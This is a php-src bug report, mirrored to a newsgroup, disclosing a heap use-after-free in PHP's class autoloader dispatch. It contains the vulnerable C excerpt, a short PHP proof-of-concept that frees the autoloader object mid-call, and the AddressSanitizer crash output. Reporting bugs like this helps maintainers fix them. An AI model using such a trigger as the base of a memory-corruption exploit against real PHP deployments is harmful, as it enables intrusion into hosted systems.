[php-src] Issue #22060: Class autoloader `$this` freed via `spl_autoload_unregister` during dispatch (UAF)

[email protected] (therealcoiffeur)
Newsgroups php.bugs
Message-ID <CnjDvSEWyjb1ueaNmL0onELO8iucm49Tp4ATIRjFag0@main.internal.php.net>
Issue: https://github.com/php/php-src/issues/22060
Author: therealcoiffeur

### Description

### Summary

The autoloader-dispatch loop walks the autoloader table. From inside an autoloader, calling `spl_autoload_unregister([$this, 'load'])` deletes the hash entry, releases the only reference to `$this`, and frees it, while the autoloader's PHP body is still running.

### Vulnerable Source Code

```c
// Zend/zend_autoload.c:28-33 -- FCC destructor
static void zend_autoload_callback_zval_destroy(zval *element)
{
    zend_fcall_info_cache *fcc = Z_PTR_P(element);
    zend_fcc_dtor(fcc);    // <- OBJ_RELEASE(fcc->object)
    efree(fcc);
}

// Zend/zend_autoload.c:55-70 -- dispatch loop
const HashTable *class_autoload_functions = zend_class_autoload_functions;

/* Cannot use ZEND_HASH_MAP_FOREACH_PTR here as autoloaders may be
 * added/removed during autoloading. */
HashPosition pos;
zend_hash_internal_pointer_reset_ex(class_autoload_functions, &pos);
while (true) {
    zend_fcall_info_cache *func_info =
        zend_hash_get_current_data_ptr_ex(class_autoload_functions, &pos);
    if (!func_info) break;
    zend_call_known_fcc(func_info, NULL, 1, &zname, NULL);  // <- no GC_ADDREF(func_info->object)
    ...
}
```

The comment at lines 57-58 explicitly acknowledges that autoloaders can be added or removed during autoloading, but the dispatch does not protect `func_info->object`.

### How to Trigger

```php
<?php

class Loader {
    public string $data = "sensitive";

    public function load(string $class): void {
        spl_autoload_unregister([$this, 'load']);

        echo $this->data;
    }
}

$obj = new Loader();
spl_autoload_register([$obj, 'load']);
unset($obj);

new NonExistentClass42();
```

<u>Command:</u>

```bash
USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f1/poc.php
```

<u>Output:</u>

```
=================================================================
==34584==ERROR: AddressSanitizer: heap-use-after-free on address 0x6060000233d0 at pc 0x0001023bf928 bp 0x00016f5d6bf0 sp 0x00016f5d6be8
READ of size 8 at 0x6060000233d0 thread T0
    #0 0x0001023bf924 in ZEND_FETCH_OBJ_R_SPEC_UNUSED_CONST_TAILCALL_INLINE_HANDLER zend_vm_execute.h:85603
    #1 0x000101fba194 in execute_ex zend_vm_execute.h:110168
    #2 0x000101f9ac08 in zend_call_function zend_execute_API.c:1016
    #3 0x000101f9cbfc in zend_call_known_function zend_execute_API.c:1114
    #4 0x000101ec1ce4 in zend_call_known_fcc zend_API.h:863
    #5 0x000101ec1584 in zend_perform_class_autoload zend_autoload.c:66
    #6 0x000101f9e714 in zend_lookup_class_ex zend_execute_API.c:1276
    #7 0x000101fa06c0 in zend_fetch_class_by_name zend_execute_API.c:1795
    #8 0x0001022512a8 in ZEND_NEW_SPEC_CONST_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:63926
    #9 0x000101fba194 in execute_ex zend_vm_execute.h:110168
    #10 0x000101fbab28 in zend_execute zend_vm_execute.h:115586
    #11 0x00010258d350 in zend_execute_script zend.c:1971
    #12 0x000101be64f4 in php_execute_script_ex main.c:2646
    #13 0x000101be6a64 in php_execute_script main.c:2686
    #14 0x000102593b0c in do_cli php_cli.c:947
    #15 0x0001025920cc in main php_cli.c:1370
    #16 0x00018c9cfdfc in start+0x1b4c (dyld:arm64e+0x1fdfc)

0x6060000233d0 is located 16 bytes inside of 56-byte region [0x6060000233c0,0x6060000233f8)
freed by thread T0 here:
    #0 0x000105848f10 in free+0x74 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54f10)
    #1 0x000101e5523c in __zend_free zend_alloc.c:3571
    #2 0x000101e58f50 in _efree zend_alloc.c:2788
    #3 0x00010250ce54 in zend_objects_store_del zend_objects_API.c:197
    #4 0x000102572f2c in rc_dtor_func zend_variables.c:56
    #5 0x00010240bc9c in i_zval_ptr_dtor zend_variables.h:44
    #6 0x00010240b5a0 in zend_array_destroy zend_hash.c:1846
    #7 0x000102572f2c in rc_dtor_func zend_variables.c:56
    #8 0x000101faeff4 in zval_ptr_dtor_nogc zend_variables.h:35
    #9 0x000101fa9a10 in zend_vm_stack_free_args zend_execute.h:404
    #10 0x0001022ee414 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54114
    #11 0x000101fba194 in execute_ex zend_vm_execute.h:110168
    #12 0x000101f9ac08 in zend_call_function zend_execute_API.c:1016
    #13 0x000101f9cbfc in zend_call_known_function zend_execute_API.c:1114
    #14 0x000101ec1ce4 in zend_call_known_fcc zend_API.h:863
    #15 0x000101ec1584 in zend_perform_class_autoload zend_autoload.c:66
    #16 0x000101f9e714 in zend_lookup_class_ex zend_execute_API.c:1276
    #17 0x000101fa06c0 in zend_fetch_class_by_name zend_execute_API.c:1795
    #18 0x0001022512a8 in ZEND_NEW_SPEC_CONST_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:63926
    #19 0x000101fba194 in execute_ex zend_vm_execute.h:110168
    #20 0x000101fbab28 in zend_execute zend_vm_execute.h:115586
    #21 0x00010258d350 in zend_execute_script zend.c:1971
    #22 0x000101be64f4 in php_execute_script_ex main.c:2646
    #23 0x000101be6a64 in php_execute_script main.c:2686
    #24 0x000102593b0c in do_cli php_cli.c:947
    #25 0x0001025920cc in main php_cli.c:1370
    #26 0x00018c9cfdfc in start+0x1b4c (dyld:arm64e+0x1fdfc)

previously allocated by thread T0 here:
    #0 0x000105848e24 in malloc+0x70 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54e24)
    #1 0x000101e59560 in __zend_malloc zend_alloc.c:3543
    #2 0x000101e58e24 in _emalloc zend_alloc.c:2778
    #3 0x00010250f580 in zend_objects_new zend_objects.c:190
    #4 0x000101e72dbc in _object_and_properties_init zend_API.c:1819
    #5 0x000101e72fd4 in object_init_ex zend_API.c:1842
    #6 0x0001022515e0 in ZEND_NEW_SPEC_CONST_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:63944
    #7 0x000101fba194 in execute_ex zend_vm_execute.h:110168
    #8 0x000101fbab28 in zend_execute zend_vm_execute.h:115586
    #9 0x00010258d350 in zend_execute_script zend.c:1971
    #10 0x000101be64f4 in php_execute_script_ex main.c:2646
    #11 0x000101be6a64 in php_execute_script main.c:2686
    #12 0x000102593b0c in do_cli php_cli.c:947
    #13 0x0001025920cc in main php_cli.c:1370
    #14 0x00018c9cfdfc in start+0x1b4c (dyld:arm64e+0x1fdfc)

SUMMARY: AddressSanitizer: heap-use-after-free zend_vm_execute.h:85603 in ZEND_FETCH_OBJ_R_SPEC_UNUSED_CONST_TAILCALL_INLINE_HANDLER
Shadow bytes around the buggy address:
  0x606000023100: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
  0x606000023180: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
  0x606000023200: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 00
  0x606000023280: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
  0x606000023300: fd fd fd fd fd fd fd fd fa fa fa fa fd fd fd fd
=>0x606000023380: fd fd fd fd fa fa fa fa fd fd[fd]fd fd fd fd fa
  0x606000023400: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa
  0x606000023480: 00 00 00 00 00 00 00 fa fa fa fa fa fd fd fd fd
  0x606000023500: fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x606000023580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x606000023600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==34584==ABORTING
[1]    34584 abort      USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f1/poc.php
```

### PHP Version

```plain
PHP 8.6.0-dev (cli) (built: May 16 2026 16:38:50) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
    with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce
```

### Operating System

_No response_
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.